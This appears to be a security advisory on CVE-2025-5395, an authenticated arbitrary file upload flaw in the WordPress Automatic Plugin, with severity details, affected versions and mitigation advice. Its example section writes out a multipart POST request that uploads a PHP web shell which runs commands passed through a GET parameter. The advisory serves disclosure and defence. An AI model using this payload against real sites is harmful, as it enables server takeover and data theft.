Overview
A severe vulnerability has been recently discovered in the WordPress Automatic Plugin. The vulnerability, tagged as CVE-2025-5395, allows attackers with author-level access or higher to upload arbitrary files on the affected site’s server. This could potentially lead to remote code execution, causing significant damage and compromise to systems and data. Given that WordPress powers approximately 39.5% of all websites globally, the ramifications of such a vulnerability are extensive, and immediate attention is required.
Vulnerability Summary
CVE ID: CVE-2025-5395
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: User (Author-level access and above)
User Interaction: Required (User must be authenticated)
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
WordPress Automatic Plugin | Up to and including 3.115.0
How the Exploit Works
The vulnerability resides in the core.php file of the WordPress Automatic Plugin. Due to insufficient file type validation measures, an attacker with author-level or higher access can upload arbitrary files to the server. This means that an attacker could potentially upload malicious files or scripts that could execute harmful commands, leading to system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. It illustrates an HTTP POST request that uploads a malicious PHP file to the server.
POST /wp-content/plugins/wordpress-automatic-plugin/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---123456789
-----123456789
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
-----123456789--In the above example, a malicious PHP file that accepts a command via an HTTP GET parameter and passes it to the system function is being uploaded. Once uploaded and executed, this file could cause significant damage to the system.
Mitigation and Prevention
Users of the WordPress Automatic Plugin are advised to immediately update to the latest version of the plugin. If an update is not possible, implementing a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation. These tools can help detect and block suspicious activities or requests, providing an additional layer of security against potential attacks.